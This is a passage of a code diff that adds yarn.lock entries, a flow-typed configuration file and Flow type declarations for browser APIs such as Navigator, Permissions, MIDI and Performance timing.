+  integrity sha512-BN22B5eaMMI9UMtjrGd5g5eCYPpCPDUy0FJXbYsaT5zYxjFOckS53SQDE3pWkVoWpHXVb3BrYcEN4Twa55B5cA==
+
+workbox-background-sync@6.6.1:
+  version "6.6.1"
+  resolved "https://registry.yarnpkg.com/workbox-background-sync/-/workbox-background-sync-6.6.1.tgz#08d603a33717ce663e718c30cc336f74909aff2f"
+  integrity sha512-trJd3ovpWCvzu4sW0E8rV3FUyIcC0W8G+AZ+VcqzzA890AsWZlUGOTSxIMmIHVusUw/FDq1HFWfy/kC/WTRqSg==
+  dependencies:
+    idb "^7.0.1"
+    workbox-core "6.6.1"
+
+workbox-broadcast-update@6.6.1:
+  version "6.6.1"
+  resolved "https://registry.yarnpkg.com/workbox-broadcast-update/-/workbox-broadcast-update-6.6.1.tgz#0fad9454cf8e4ace0c293e5617c64c75d8a8c61e"
+  integrity sha512-fBhffRdaANdeQ1V8s692R9l/gzvjjRtydBOvR6WCSB0BNE2BacA29Z4r9/RHd9KaXCPl6JTdI9q0bR25YKP8TQ==
+  dependencies:
+    workbox-core "6.6.1"
+
+workbox-build@6.6.1:
+  version "6.6.1"
+  resolved "https://registry.yarnpkg.com/workbox-build/-/workbox-build-6.6.1.tgz#6010e9ce550910156761448f2dbea8cfcf759cb0"
+  integrity sha512-INPgDx6aRycAugUixbKgiEQBWD0MPZqU5r0jyr24CehvNuLPSXp/wGOpdRJmts656lNiXwqV7dC2nzyrzWEDnw==
+  dependencies:
+    "@apideck/better-ajv-errors" "^0.3.1"
+    "@babel/core" "^7.11.1"
+    "@babel/preset-env" "^7.11.0"
+    "@babel/runtime" "^7.11.2"
+    "@rollup/plugin-babel" "^5.2.0"
+    "@rollup/plugin-node-resolve" "^11.2.1"
+    "@rollup/plugin-replace" "^2.4.1"
+    "@surma/rollup-plugin-off-main-thread" "^2.2.3"
+    ajv "^8.6.0"
+    common-tags "^1.8.0"
+    fast-json-stable-stringify "^2.1.0"
+    fs-extra "^9.0.1"
+    glob "^7.1.6"
+    lodash "^4.17.20"
+    pretty-bytes "^5.3.0"
+    rollup "^2.43.1"
+    rollup-plugin-terser "^7.0.0"
+    source-map "^0.8.0-beta.0"
+    stringify-object "^3.3.0"
+    strip-comments "^2.0.1"
+    tempy "^0.6.0"
+    upath "^1.2.0"
+    workbox-background-sync "6.6.1"
+    workbox-broadcast-update "6.6.1"
+    workbox-cacheable-response "6.6.1"
+    workbox-core "6.6.1"
+    workbox-expiration "6.6.1"
+    workbox-google-analytics "6.6.1"
+    workbox-navigation-preload "6.6.1"
+    workbox-precaching "6.6.1"
+    workbox-range-requests "6.6.1"
+    workbox-recipes "6.6.1"
+    workbox-routing "6.6.1"
+    workbox-strategies "6.6.1"
+    workbox-streams "6.6.1"
+    workbox-sw "6.6.1"
+    workbox-window "6.6.1"
+
+workbox-cacheable-response@6.6.1:
+  version "6.6.1"
+  resolved "https://registry.yarnpkg.com/workbox-cacheable-response/-/workbox-cacheable-response-6.6.1.tgz#284c2b86be3f4fd191970ace8c8e99797bcf58e9"
+  integrity sha512-85LY4veT2CnTCDxaVG7ft3NKaFbH6i4urZXgLiU4AiwvKqS2ChL6/eILiGRYXfZ6gAwDnh5RkuDbr/GMS4KSag==
+  dependencies:
+    workbox-core "6.6.1"
+
+workbox-core@6.6.1:
+  version "6.6.1"
+  resolved "https://registry.yarnpkg.com/workbox-core/-/workbox-core-6.6.1.tgz#7184776d4134c5ed2f086878c882728fc9084265"
+  integrity sha512-ZrGBXjjaJLqzVothoE12qTbVnOAjFrHDXpZe7coCb6q65qI/59rDLwuFMO4PcZ7jcbxY+0+NhUVztzR/CbjEFw==
+
+workbox-expiration@6.6.1:
+  version "6.6.1"
+  resolved "https://registry.yarnpkg.com/workbox-expiration/-/workbox-expiration-6.6.1.tgz#a841fa36676104426dbfb9da1ef6a630b4f93739"
+  integrity sha512-qFiNeeINndiOxaCrd2DeL1Xh1RFug3JonzjxUHc5WkvkD2u5abY3gZL1xSUNt3vZKsFFGGORItSjVTVnWAZO4A==
+  dependencies:
+    idb "^7.0.1"
+    workbox-core "6.6.1"
+
+workbox-google-analytics@6.6.1:
+  version "6.6.1"
+  resolved "https://registry.yarnpkg.com/workbox-google-analytics/-/workbox-google-analytics-6.6.1.tgz#a07a6655ab33d89d1b0b0a935ffa5dea88618c5d"
+  integrity sha512-1TjSvbFSLmkpqLcBsF7FuGqqeDsf+uAXO/pjiINQKg3b1GN0nBngnxLcXDYo1n/XxK4N7RaRrpRlkwjY/3ocuA==
+  dependencies:
+    workbox-background-sync "6.6.1"
+    workbox-core "6.6.1"
+    workbox-routing "6.6.1"
+    workbox-strategies "6.6.1"
+
+workbox-navigation-preload@6.6.1:
+  version "6.6.1"
+  resolved "https://registry.yarnpkg.com/workbox-navigation-preload/-/workbox-navigation-preload-6.6.1.tgz#61a34fe125558dd88cf09237f11bd966504ea059"
+  integrity sha512-DQCZowCecO+wRoIxJI2V6bXWK6/53ff+hEXLGlQL4Rp9ZaPDLrgV/32nxwWIP7QpWDkVEtllTAK5h6cnhxNxDA==
+  dependencies:
+    workbox-core "6.6.1"
+
+workbox-precaching@6.6.1:
+  version "6.6.1"
+  resolved "https://registry.yarnpkg.com/workbox-precaching/-/workbox-precaching-6.6.1.tgz#dedeeba10a2d163d990bf99f1c2066ac0d1a19e2"
+  integrity sha512-K4znSJ7IKxCnCYEdhNkMr7X1kNh8cz+mFgx9v5jFdz1MfI84pq8C2zG+oAoeE5kFrUf7YkT5x4uLWBNg0DVZ5A==
+  dependencies:
+    workbox-core "6.6.1"
+    workbox-routing "6.6.1"
+    workbox-strategies "6.6.1"
+
+workbox-range-requests@6.6.1:
+  version "6.6.1"
+  resolved "https://registry.yarnpkg.com/workbox-range-requests/-/workbox-range-requests-6.6.1.tgz#ddaf7e73af11d362fbb2f136a9063a4c7f507a39"
+  integrity sha512-4BDzk28govqzg2ZpX0IFkthdRmCKgAKreontYRC5YsAPB2jDtPNxqx3WtTXgHw1NZalXpcH/E4LqUa9+2xbv1g==
+  dependencies:
+    workbox-core "6.6.1"
+
+workbox-recipes@6.6.1:
+  version "6.6.1"
+  resolved "https://registry.yarnpkg.com/workbox-recipes/-/workbox-recipes-6.6.1.tgz#ea70d2b2b0b0bce8de0a9d94f274d4a688e69fae"
+  integrity sha512-/oy8vCSzromXokDA+X+VgpeZJvtuf8SkQ8KL0xmRivMgJZrjwM3c2tpKTJn6PZA6TsbxGs3Sc7KwMoZVamcV2g==
+  dependencies:
+    workbox-cacheable-response "6.6.1"
+    workbox-core "6.6.1"
+    workbox-expiration "6.6.1"
+    workbox-precaching "6.6.1"
+    workbox-routing "6.6.1"
+    workbox-strategies "6.6.1"
+
+workbox-routing@6.6.1:
+  version "6.6.1"
+  resolved "https://registry.yarnpkg.com/workbox-routing/-/workbox-routing-6.6.1.tgz#cba9a1c7e0d1ea11e24b6f8c518840efdc94f581"
+  integrity sha512-j4ohlQvfpVdoR8vDYxTY9rA9VvxTHogkIDwGdJ+rb2VRZQ5vt1CWwUUZBeD/WGFAni12jD1HlMXvJ8JS7aBWTg==
+  dependencies:
+    workbox-core "6.6.1"
+
+workbox-strategies@6.6.1:
+  version "6.6.1"
+  resolved "https://registry.yarnpkg.com/workbox-strategies/-/workbox-strategies-6.6.1.tgz#38d0f0fbdddba97bd92e0c6418d0b1a2ccd5b8bf"
+  integrity sha512-WQLXkRnsk4L81fVPkkgon1rZNxnpdO5LsO+ws7tYBC6QQQFJVI6v98klrJEjFtZwzw/mB/HT5yVp7CcX0O+mrw==
+  dependencies:
+    workbox-core "6.6.1"
+
+workbox-streams@6.6.1:
+  version "6.6.1"
+  resolved "https://registry.yarnpkg.com/workbox-streams/-/workbox-streams-6.6.1.tgz#b2f7ba7b315c27a6e3a96a476593f99c5d227d26"
+  integrity sha512-maKG65FUq9e4BLotSKWSTzeF0sgctQdYyTMq529piEN24Dlu9b6WhrAfRpHdCncRS89Zi2QVpW5V33NX8PgH3Q==
+  dependencies:
+    workbox-core "6.6.1"
+    workbox-routing "6.6.1"
+
+workbox-sw@6.6.1:
+  version "6.6.1"
+  resolved "https://registry.yarnpkg.com/workbox-sw/-/workbox-sw-6.6.1.tgz#d4c4ca3125088e8b9fd7a748ed537fa0247bd72c"
+  integrity sha512-R7whwjvU2abHH/lR6kQTTXLHDFU2izht9kJOvBRYK65FbwutT4VvnUAJIgHvfWZ/fokrOPhfoWYoPCMpSgUKHQ==
+
+workbox-webpack-plugin@^6.4.1:
+  version "6.6.1"
+  resolved "https://registry.yarnpkg.com/workbox-webpack-plugin/-/workbox-webpack-plugin-6.6.1.tgz#4f81cc1ad4e5d2cd7477a86ba83c84ee2d187531"
+  integrity sha512-zpZ+ExFj9NmiI66cFEApyjk7hGsfJ1YMOaLXGXBoZf0v7Iu6hL0ZBe+83mnDq3YYWAfA3fnyFejritjOHkFcrA==
+  dependencies:
+    fast-json-stable-stringify "^2.1.0"
+    pretty-bytes "^5.4.1"
+    upath "^1.2.0"
+    webpack-sources "^1.4.3"
+    workbox-build "6.6.1"
+
+workbox-window@6.6.1:
+  version "6.6.1"
+  resolved "https://registry.yarnpkg.com/workbox-window/-/workbox-window-6.6.1.tgz#f22a394cbac36240d0dadcbdebc35f711bb7b89e"
+  integrity sha512-wil4nwOY58nTdCvif/KEZjQ2NP8uk3gGeRNy2jPBbzypU4BT4D9L8xiwbmDBpZlSgJd2xsT9FvSNU0gsxV51JQ==
+  dependencies:
+    "@types/trusted-types" "^2.0.2"
+    workbox-core "6.6.1"
+
+"wrap-ansi-cjs@npm:wrap-ansi@^7.0.0", wrap-ansi@^7.0.0:
+  version "7.0.0"
+  resolved "https://registry.yarnpkg.com/wrap-ansi/-/wrap-ansi-7.0.0.tgz#67e145cff510a6a6984bdf1152911d69d2eb9e43"
+  integrity sha512-YVGIj2kamLSTxw6NsZjoBxfSwsn0ycdesmc4p+Q21c5zPuZ1pl+NfxVdxPtdHvmNVOQ6XSYG4AUtyt/Fi7D16Q==
+  dependencies:
+    ansi-styles "^4.0.0"
+    string-width "^4.1.0"
+    strip-ansi "^6.0.0"
+
+wrap-ansi@^8.1.0:
+  version "8.1.0"
+  resolved "https://registry.yarnpkg.com/wrap-ansi/-/wrap-ansi-8.1.0.tgz#56dc22368ee570face1b49819975d9b9a5ead214"
+  integrity sha512-si7QWI6zUMq56bESFvagtmzMdGOtoxfR+Sez11Mobfc7tm+VkUckk9bW2UeffTGVUbOksxmSw0AA2gs8g71NCQ==
+  dependencies:
+    ansi-styles "^6.1.0"
+    string-width "^5.0.1"
+    strip-ansi "^7.0.1"
+
+wrappy@1:
+  version "1.0.2"
+  resolved "https://registry.yarnpkg.com/wrappy/-/wrappy-1.0.2.tgz#b5243d8f3ec1aa35f1364605bc0d1036e30ab69f"
+  integrity sha512-l4Sp/DRseor9wL6EvV2+TuQn63dMkPjZ/sp9XkghTEbV9KlPS1xUsZ3u7/IQO4wxtcFB4bgpQPRcR3QCvezPcQ==
+
+write-file-atomic@^3.0.0:
+  version "3.0.3"
+  resolved "https://registry.yarnpkg.com/write-file-atomic/-/write-file-atomic-3.0.3.tgz#56bd5c5a5c70481cd19c571bd39ab965a5de56e8"
+  integrity sha512-AvHcyZ5JnSfq3ioSyjrBkH9yW4m7Ayk8/9My/DD9onKeu/94fwrMocemO2QAJFAlnnDN+ZDS+ZjAR5ua1/PV/Q==
+  dependencies:
+    imurmurhash "^0.1.4"
+    is-typedarray "^1.0.0"
+    signal-exit "^3.0.2"
+    typedarray-to-buffer "^3.1.5"
+
+ws@^7.4.6:
+  version "7.5.10"
+  resolved "https://registry.yarnpkg.com/ws/-/ws-7.5.10.tgz#58b5c20dc281633f6c19113f39b349bd8bd558d9"
+  integrity sha512-+dbF1tHwZpXcbOJdVOkzLDxZP1ailvSxM6ZweXTegylPny803bFhA+vqBYw4s31NSAk4S2Qz+AKXK9a4wkdjcQ==
+
+ws@^8.13.0:
+  version "8.18.0"
+  resolved "https://registry.yarnpkg.com/ws/-/ws-8.18.0.tgz#0d7505a6eafe2b0e712d232b42279f53bc289bbc"
+  integrity sha512-8VbfWfHLbbwu3+N6OKsOMpBdT4kXPDDB9cJk2bJ6mh9ucxdlnNvH1e+roYkKmN9Nxw2yjz7VzeO9oOz2zJ04Pw==
+
+xml-name-validator@^3.0.0:
+  version "3.0.0"
+  resolved "https://registry.yarnpkg.com/xml-name-validator/-/xml-name-validator-3.0.0.tgz#6ae73e06de4d8c6e47f9fb181f78d648ad457c6a"
+  integrity sha512-A5CUptxDsvxKJEU3yO6DuWBSJz/qizqzJKOMIfUJHETbBw/sFaDxgd6fxm1ewUaM0jZ444Fc5vC5ROYurg/4Pw==
+
+xmlchars@^2.2.0:
+  version "2.2.0"
+  resolved "https://registry.yarnpkg.com/xmlchars/-/xmlchars-2.2.0.tgz#060fe1bcb7f9c76fe2a17db86a9bc3ab894210cb"
+  integrity sha512-JZnDKK8B0RCDw84FNdDAIpZK+JuJw+s7Lz8nksI7SIuU3UXJJslUthsi+uWBUYOwPFwW7W7PRLRfUKpxjtjFCw==
+
+y18n@^5.0.5:
+  version "5.0.8"
+  resolved "https://registry.yarnpkg.com/y18n/-/y18n-5.0.8.tgz#7f4934d0f7ca8c56f95314939ddcd2dd91ce1d55"
+  integrity sha512-0pfFzegeDWJHJIAmTLRP2DwHjdF5s7jo9tuztdQxAhINCdvS+3nGINqPd00AphqJR/0LhANUS6/+7SCb98YOfA==
+
+yallist@^3.0.2:
+  version "3.1.1"
+  resolved "https://registry.yarnpkg.com/yallist/-/yallist-3.1.1.tgz#dbb7daf9bfd8bac9ab45ebf602b8cbad0d5d08fd"
+  integrity sha512-a4UGQaWPH59mOXUYnAG2ewncQS4i4F43Tv3JoAM+s2VDAmS9NsK8GpDMLrCHPksFT7h3K6TOoUNn2pb7RoXx4g==
+
+yaml@^1.10.0, yaml@^1.10.2, yaml@^1.7.2:
+  version "1.10.2"
+  resolved "https://registry.yarnpkg.com/yaml/-/yaml-1.10.2.tgz#2301c5ffbf12b467de8da2333a459e29e7920e4b"
+  integrity sha512-r3vXyErRCYJ7wg28yvBY5VSoAF8ZvlcW9/BwUzEtUsjvX/DKs24dIkuwjtuprwJJHsbyUbLApepYTR1BN4uHrg==
+
+yaml@^2.3.4:
+  version "2.7.0"
+  resolved "https://registry.yarnpkg.com/yaml/-/yaml-2.7.0.tgz#aef9bb617a64c937a9a748803786ad8d3ffe1e98"
+  integrity sha512-+hSoy/QHluxmC9kCIJyL/uyFmLmc+e5CFR5Wa+bpIhIj85LVb9ZH2nVnqrHoSvKogwODv0ClqZkmiSSaIH5LTA==
+
+yargs-parser@^20.2.2:
+  version "20.2.9"
+  resolved "https://registry.yarnpkg.com/yargs-parser/-/yargs-parser-20.2.9.tgz#2eb7dc3b0289718fc295f362753845c41a0c94ee"
+  integrity sha512-y11nGElTIV+CT3Zv9t7VKl+Q3hTQoT9a1Qzezhhl6Rp21gJ/IVTW7Z3y9EWXhuUBC2Shnf+DX0antecpAwSP8w==
+
+yargs@^16.2.0:
+  version "16.2.0"
+  resolved "https://registry.yarnpkg.com/yargs/-/yargs-16.2.0.tgz#1c82bf0f6b6a66eafce7ef30e376f49a12477f66"
+  integrity sha512-D1mvvtDG0L5ft/jGWkLpG1+m0eQxOfaBvTNELraWj22wSVUMWxZUvYgJYcKh6jGGIkJFhH4IZPQhR4TKpc8mBw==
+  dependencies:
+    cliui "^7.0.2"
+    escalade "^3.1.1"
+    get-caller-file "^2.0.5"
+    require-directory "^2.1.1"
+    string-width "^4.2.0"
+    y18n "^5.0.5"
+    yargs-parser "^20.2.2"
+
+yocto-queue@^0.1.0:
+  version "0.1.0"
+  resolved "https://registry.yarnpkg.com/yocto-queue/-/yocto-queue-0.1.0.tgz#0294eb3dee05028d31ee1a5fa2c556a6aaf10a1b"
+  integrity sha512-rVksvsnNCdJ/ohGc6xgPwyN8eheCxsiLM8mxuE/t/mOVqJewPuO1miLpTHQiRgTKCLexL4MeAFVagts7HmNZ2Q==
diff --git a/flow-typed.config.json b/flow-typed.config.json
new file mode 100644
index 000000000000..10b200008371
--- /dev/null
+++ b/flow-typed.config.json
@@ -0,0 +1,20 @@
+{
+  "env": [
+    "bom",
+    "cssom",
+    "dom",
+    "geometry",
+    "html",
+    "node",
+    "serviceworkers",
+    "streams",
+    "web-animations"
+  ],
+  "ignore": [
+    "create-react-class",
+    "jest",
+    "regenerator-runtime",
+    "webpack",
+    "ws"
+  ]
+}
diff --git a/flow-typed/environments/bom.js b/flow-typed/environments/bom.js
new file mode 100644
index 000000000000..7c082ea5dae0
--- /dev/null
+++ b/flow-typed/environments/bom.js
@@ -0,0 +1,2719 @@
+// flow-typed signature: 09630545c584c3b212588a2390c257d0
+// flow-typed version: baae4b8bcc/bom/flow_>=v0.261.x
+
+/* BOM */
+
+declare class Screen {
+  +availHeight: number;
+  +availWidth: number;
+  +availLeft: number;
+  +availTop: number;
+  +top: number;
+  +left: number;
+  +colorDepth: number;
+  +pixelDepth: number;
+  +width: number;
+  +height: number;
+  +orientation?: {
+    lock(): Promise<void>,
+    unlock(): void,
+    angle: number,
+    onchange: () => mixed,
+    type:
+      | 'portrait-primary'
+      | 'portrait-secondary'
+      | 'landscape-primary'
+      | 'landscape-secondary',
+    ...
+  };
+  // deprecated
+  mozLockOrientation?: (orientation: string | Array<string>) => boolean;
+  mozUnlockOrientation?: () => void;
+  mozOrientation?: string;
+  onmozorientationchange?: (...args: any[]) => mixed;
+}
+
+declare var screen: Screen;
+
+declare interface Crypto {
+  // Not using $TypedArray as that would include Float32Array and Float64Array which are not accepted
+  getRandomValues: <
+    T:
+      | Int8Array
+      | Uint8Array
+      | Uint8ClampedArray
+      | Int16Array
+      | Uint16Array
+      | Int32Array
+      | Uint32Array
+      | BigInt64Array
+      | BigUint64Array,
+  >(
+    typedArray: T
+  ) => T;
+  randomUUID: () => string;
+}
+declare var crypto: Crypto;
+
+declare var window: any;
+
+type GamepadButton = {
+  pressed: boolean,
+  value: number,
+  ...
+};
+type GamepadHapticActuator = {
+  type: 'vibration',
+  pulse(value: number, duration: number): Promise<boolean>,
+  ...
+};
+type GamepadPose = {
+  angularAcceleration: null | Float32Array,
+  angularVelocity: null | Float32Array,
+  hasOrientation: boolean,
+  hasPosition: boolean,
+  linearAcceleration: null | Float32Array,
+  linearVelocity: null | Float32Array,
+  orientation: null | Float32Array,
+  position: null | Float32Array,
+  ...
+};
+type Gamepad = {
+  axes: number[],
+  buttons: GamepadButton[],
+  connected: boolean,
+  displayId?: number,
+  hapticActuators?: GamepadHapticActuator[],
+  hand?: '' | 'left' | 'right',
+  id: string,
+  index: number,
+  mapping: string,
+  pose?: null | GamepadPose,
+  timestamp: number,
+  ...
+};
+
+// deprecated
+type BatteryManager = {
+  +charging: boolean,
+  +chargingTime: number,
+  +dischargingTime: number,
+  +level: number,
+  onchargingchange: ?(event: any) => mixed,
+  onchargingtimechange: ?(event: any) => mixed,
+  ondischargingtimechange: ?(event: any) => mixed,
+  onlevelchange: ?(event: any) => mixed,
+  ...
+};
+
+// https://wicg.github.io/web-share
+type ShareData = {
+  title?: string,
+  text?: string,
+  url?: string,
+  ...
+};
+
+type PermissionName =
+  | 'geolocation'
+  | 'notifications'
+  | 'push'
+  | 'midi'
+  | 'camera'
+  | 'microphone'
+  | 'speaker'
+  | 'usb'
+  | 'device-info'
+  | 'background-sync'
+  | 'bluetooth'
+  | 'persistent-storage'
+  | 'ambient-light-sensor'
+  | 'accelerometer'
+  | 'gyroscope'
+  | 'magnetometer'
+  | 'clipboard-read'
+  | 'clipboard-write';
+
+type PermissionState = 'granted' | 'denied' | 'prompt';
+
+type PermissionDescriptor = {|
+  name: PermissionName,
+|};
+
+type DevicePermissionDescriptor = {|
+  deviceId?: string,
+  name: 'camera' | 'microphone' | 'speaker',
+|};
+
+type MidiPermissionDescriptor = {|
+  name: 'midi',
+  sysex?: boolean,
+|};
+
+type PushPermissionDescriptor = {|
+  name: 'push',
+  userVisibleOnly?: boolean,
+|};
+
+type ClipboardPermissionDescriptor = {|
+  name: 'clipboard-read' | 'clipboard-write',
+  allowWithoutGesture: boolean,
+|};
+
+type USBPermissionDescriptor = {|
+  name: 'usb',
+  filters: Array<USBDeviceFilter>,
+  exclusionFilters: Array<USBDeviceFilter>,
+|};
+
+type FileSystemHandlePermissionDescriptor = {|
+  mode: 'read' | 'readwrite',
+|};
+
+declare class PermissionStatus extends EventTarget {
+  onchange: ?(event: any) => mixed;
+  +state: PermissionState;
+}
+
+declare class Permissions {
+  query(
+    permissionDesc:
+      | DevicePermissionDescriptor
+      | MidiPermissionDescriptor
+      | PushPermissionDescriptor
+      | ClipboardPermissionDescriptor
+      | USBPermissionDescriptor
+      | PermissionDescriptor
+  ): Promise<PermissionStatus>;
+}
+
+type MIDIPortType = 'input' | 'output';
+type MIDIPortDeviceState = 'connected' | 'disconnected';
+type MIDIPortConnectionState = 'open' | 'closed' | 'pending';
+
+type MIDIOptions = {|
+  sysex: boolean,
+  software: boolean,
+|};
+
+type MIDIMessageEvent$Init = Event$Init & {
+  data: Uint8Array,
+  ...
+};
+
+declare class MIDIMessageEvent extends Event {
+  constructor(type: string, eventInitDict: MIDIMessageEvent$Init): void;
+  +data: Uint8Array;
+}
+
+type MIDIConnectionEvent$Init = Event$Init & {
+  port: MIDIPort,
+  ...
+};
+
+declare class MIDIConnectionEvent extends Event {
+  constructor(type: string, eventInitDict: MIDIConnectionEvent$Init): void;
+  +port: MIDIPort;
+}
+
+declare class MIDIPort extends EventTarget {
+  +id: string;
+  +manufacturer?: string;
+  +name?: string;
+  +type: MIDIPortType;
+  +version?: string;
+  +state: MIDIPortDeviceState;
+  +connection: MIDIPortConnectionState;
+  onstatechange: ?(ev: MIDIConnectionEvent) => mixed;
+  open(): Promise<MIDIPort>;
+  close(): Promise<MIDIPort>;
+}
+
+declare class MIDIInput extends MIDIPort {
+  onmidimessage: ?(ev: MIDIMessageEvent) => mixed;
+}
+
+declare class MIDIOutput extends MIDIPort {
+  send(data: Iterable<number>, timestamp?: number): void;
+  clear(): void;
+}
+
+declare class MIDIInputMap extends $ReadOnlyMap<string, MIDIInput> {}
+
+declare class MIDIOutputMap extends $ReadOnlyMap<string, MIDIOutput> {}
+
+declare class MIDIAccess extends EventTarget {
+  +inputs: MIDIInputMap;
+  +outputs: MIDIOutputMap;
+  +sysexEnabled: boolean;
+  onstatechange: ?(ev: MIDIConnectionEvent) => mixed;
+}
+
+declare class NavigatorID {
+  appName: 'Netscape';
+  appCodeName: 'Mozilla';
+  product: 'Gecko';
+  appVersion: string;
+  platform: string;
+  userAgent: string;
+}
+
+declare class NavigatorLanguage {
+  +language: string;
+  +languages: $ReadOnlyArray<string>;
+}
+
+declare class NavigatorContentUtils {
+  registerContentHandler(mimeType: string, uri: string, title: string): void;
+  registerProtocolHandler(protocol: string, uri: string, title: string): void;
+}
+
+declare class NavigatorCookies {
+  +cookieEnabled: boolean;
+}
+
+declare class NavigatorPlugins {
+  +plugins: PluginArray;
+  +mimeTypes: MimeTypeArray;
+  javaEnabled(): boolean;
+}
+
+declare class NavigatorOnLine {
+  +onLine: boolean;
+}
+
+declare class NavigatorConcurrentHardware {
+  +hardwareConcurrency: number;
+}
+
+declare class NavigatorStorage {
+  storage?: StorageManager;
+}
+
+declare class StorageManager {
+  persist: () => Promise<boolean>;
+  persisted: () => Promise<boolean>;
+  estimate?: () => Promise<StorageEstimate>;
+  getDirectory: () => Promise<FileSystemDirectoryHandle>;
+}
+
+type StorageManagerRegisteredEndpoint =
+  | 'caches'
+  | 'indexedDB'
+  | 'localStorage'
+  | 'serviceWorkerRegistrations'
+  | 'sessionStorage';
+
+type StorageManagerUsageDetails = {[StorageManagerRegisteredEndpoint]: number};
+
+declare class StorageEstimate {
+  constructor(
+    usage: number,
+    quota: number,
+    usageDetails?: StorageManagerUsageDetails
+  ): void;
+  +usage: number;
+  +quota: number;
+
+  // Not a part of the standard
+  +usageDetails?: StorageManagerUsageDetails;
+}
+
+declare class Navigator
+  mixins
+    NavigatorID,
+    NavigatorLanguage,
+    NavigatorOnLine,
+    NavigatorContentUtils,
+    NavigatorCookies,
+    NavigatorPlugins,
+    NavigatorConcurrentHardware,
+    NavigatorStorage
+{
+  productSub: '20030107' | '20100101';
+  vendor: '' | 'Google Inc.' | 'Apple Computer, Inc';
+  vendorSub: '';
+
+  activeVRDisplays?: VRDisplay[];
+  appCodeName: 'Mozilla';
+  buildID: string;
+  doNotTrack: string | null;
+  geolocation: Geolocation;
+  mediaDevices?: MediaDevices;
+  usb?: USB;
+  maxTouchPoints: number;
+  permissions: Permissions;
+  serviceWorker?: ServiceWorkerContainer;
+  getGamepads?: () => Array<Gamepad | null>;
+  webkitGetGamepads?: Function;
+  mozGetGamepads?: Function;
+  mozGamepads?: any;
+  gamepads?: any;
+  webkitGamepads?: any;
+  getVRDisplays?: () => Promise<VRDisplay[]>;
+  registerContentHandler(mimeType: string, uri: string, title: string): void;
+  registerProtocolHandler(protocol: string, uri: string, title: string): void;
+  requestMIDIAccess?: (options?: MIDIOptions) => Promise<MIDIAccess>;
+  requestMediaKeySystemAccess?: (
+    keySystem: string,
+    supportedConfigurations: any[]
+  ) => Promise<any>;
+  sendBeacon?: (url: string, data?: BodyInit) => boolean;
+  vibrate?: (pattern: number | number[]) => boolean;
+  mozVibrate?: (pattern: number | number[]) => boolean;
+  webkitVibrate?: (pattern: number | number[]) => boolean;
+  canShare?: (shareData?: ShareData) => boolean;
+  share?: (shareData: ShareData) => Promise<void>;
+  clipboard: Clipboard;
+  credentials?: CredMgmtCredentialsContainer;
+  globalPrivacyControl?: boolean;
+
+  // deprecated
+  getBattery?: () => Promise<BatteryManager>;
+  mozGetBattery?: () => Promise<BatteryManager>;
+
+  // deprecated
+  getUserMedia?: Function;
+  webkitGetUserMedia?: Function;
+  mozGetUserMedia?: Function;
+  msGetUserMedia?: Function;
+
+  // Gecko
+  taintEnabled?: () => false;
+  oscpu: string;
+}
+
+declare class Clipboard extends EventTarget {
+  read(): Promise<DataTransfer>;
+  readText(): Promise<string>;
+  write(data: $ReadOnlyArray<ClipboardItem>): Promise<void>;
+  writeText(data: string): Promise<void>;
+}
+
+declare var navigator: Navigator;
+
+declare class MimeType {
+  type: string;
+  description: string;
+  suffixes: string;
+  enabledPlugin: Plugin;
+}
+
+declare class MimeTypeArray {
+  length: number;
+  item(index: number): MimeType;
+  namedItem(name: string): MimeType;
+  [key: number | string]: MimeType;
+}
+
+declare class Plugin {
+  description: string;
+  filename: string;
+  name: string;
+  version?: string; // Gecko only
+  length: number;
+  item(index: number): MimeType;
+  namedItem(name: string): MimeType;
+  [key: number | string]: MimeType;
+}
+
+declare class PluginArray {
+  length: number;
+  item(index: number): Plugin;
+  namedItem(name: string): Plugin;
+  refresh(): void;
+  [key: number | string]: Plugin;
+}
+
+// https://www.w3.org/TR/hr-time-2/#dom-domhighrestimestamp
+// https://developer.mozilla.org/en-US/docs/Web/API/DOMHighResTimeStamp
+declare type DOMHighResTimeStamp = number;
+
+// https://www.w3.org/TR/navigation-timing-2/
+declare class PerformanceTiming {
+  connectEnd: number;
+  connectStart: number;
+  domainLookupEnd: number;
+  domainLookupStart: number;
+  domComplete: number;
+  domContentLoadedEventEnd: number;
+  domContentLoadedEventStart: number;
+  domInteractive: number;
+  domLoading: number;
+  fetchStart: number;
+  loadEventEnd: number;
+  loadEventStart: number;
+  navigationStart: number;
+  redirectEnd: number;
+  redirectStart: number;
+  requestStart: number;
+  responseEnd: number;
+  responseStart: number;
+  secureConnectionStart: number;
+  unloadEventEnd: number;
+  unloadEventStart: number;
+}
+
+declare class PerformanceNavigation {
+  TYPE_NAVIGATE: 0;
+  TYPE_RELOAD: 1;
+  TYPE_BACK_FORWARD: 2;
+  TYPE_RESERVED: 255;
+
+  type: 0 | 1 | 2 | 255;
+  redirectCount: number;
+}
+
+type PerformanceEntryFilterOptions = {
+  name: string,
+  entryType: string,
+  initiatorType: string,
+  ...
+};
+
+// https://www.w3.org/TR/performance-timeline-2/
+declare class PerformanceEntry {
+  name: string;
+  entryType: string;
+  startTime: DOMHighResTimeStamp;
+  duration: DOMHighResTimeStamp;
+  toJSON(): string;
+}
+
+// https://w3c.github.io/server-timing/#the-performanceservertiming-interface
+declare class PerformanceServerTiming {
+  description: string;
+  duration: DOMHighResTimeStamp;
+  name: string;
+  toJSON(): string;
+}
+
+// https://www.w3.org/TR/resource-timing-2/#sec-performanceresourcetiming
+// https://w3c.github.io/server-timing/#extension-to-the-performanceresourcetiming-interface
+declare class PerformanceResourceTiming extends PerformanceEntry {
+  initiatorType: string;
+  nextHopProtocol: string;
+  workerStart: number;
+  redirectStart: number;
+  redirectEnd: number;
+  fetchStart: number;
+  domainLookupStart: number;
+  domainLookupEnd: number;
+  connectStart: number;
+  connectEnd: number;
+  secureConnectionStart: number;
+  requestStart: number;
+  responseStart: number;
+  responseEnd: number;
+  transferSize: string;
+  encodedBodySize: number;
+  decodedBodySize: number;
+  serverTiming: Array<PerformanceServerTiming>;
+}
+
+// https://w3c.github.io/event-timing/#sec-performance-event-timing
+declare class PerformanceEventTiming extends PerformanceEntry {
+  processingStart: number;
+  processingEnd: number;
+  cancelable: boolean;
+  target: ?Node;
+  interactionId: number;
+}
+
+// https://w3c.github.io/longtasks/#taskattributiontiming
+declare class TaskAttributionTiming extends PerformanceEntry {
+  containerType: string;
+  containerSrc: string;
+  containerId: string;
+  containerName: string;
+}
+
+// https://w3c.github.io/longtasks/#sec-PerformanceLongTaskTiming
+declare class PerformanceLongTaskTiming extends PerformanceEntry {
+  attribution: $ReadOnlyArray<TaskAttributionTiming>;
+}
+
